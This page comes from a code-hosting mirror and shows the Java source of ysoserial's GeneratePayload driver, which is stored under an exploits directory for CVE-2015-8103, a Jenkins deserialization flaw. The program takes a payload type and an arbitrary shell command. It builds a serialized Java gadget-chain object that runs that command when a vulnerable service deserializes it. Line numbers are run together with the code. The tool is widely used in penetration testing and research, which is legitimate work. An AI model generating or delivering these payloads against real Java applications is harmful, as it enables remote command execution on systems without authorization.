Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2015-8103/GeneratePayload.java
Views: 11780
package ysoserial;12import java.io.ObjectOutputStream;3import java.util.ArrayList;4import java.util.Collection;5import java.util.Collections;6import java.util.Comparator;7import java.util.List;8import java.util.Set;910import org.reflections.Reflections;1112import ysoserial.payloads.ObjectPayload;1314@SuppressWarnings("rawtypes")15public class GeneratePayload {1617private static final int INTERNAL_ERROR_CODE = 70;18private static final int USAGE_CODE = 64;1920public static void main(final String[] args) {21if (args.length != 2) {22printUsage();23System.exit(USAGE_CODE);24}25final String payloadType = args[0];26final String command = args[1];2728final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);29if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) {30System.err.println("Invalid payload type '" + payloadType + "'");31printUsage();32System.exit(USAGE_CODE);33}3435try {36final ObjectPayload payload = payloadClass.newInstance();37final Object object = payload.getObject(command);38final ObjectOutputStream objOut = new ObjectOutputStream(System.out);39objOut.writeObject(object);40} catch (Throwable e) {41System.err.println("Error while generating or serializing payload");42e.printStackTrace();43System.exit(INTERNAL_ERROR_CODE);44}45System.exit(0);46}4748@SuppressWarnings("unchecked")49private static Class<? extends ObjectPayload> getPayloadClass(final String className) {50try {51return (Class<? extends ObjectPayload>) Class.forName(className);52} catch (Exception e1) {53}54try {55return (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()56+ ".payloads." + className);57} catch (Exception e2) {58}59return null;60}6162private static void printUsage() {63System.err.println("Y SO SERIAL?");64System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");65System.err.println("\tAvailable payload types:");66final List<Class<? extends ObjectPayload>> payloadClasses =67new ArrayList<Class<? extends ObjectPayload>>(getPayloadClasses());68Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize69for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {70System.err.println("\t\t" + payloadClass.getSimpleName());71}72}7374// get payload classes by classpath scanning75private static Collection<Class<? extends ObjectPayload>> getPayloadClasses() {76final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName());77final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);78return payloadTypes;79}8081public static class ToStringComparator implements Comparator<Object> {82public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }83}8485}868788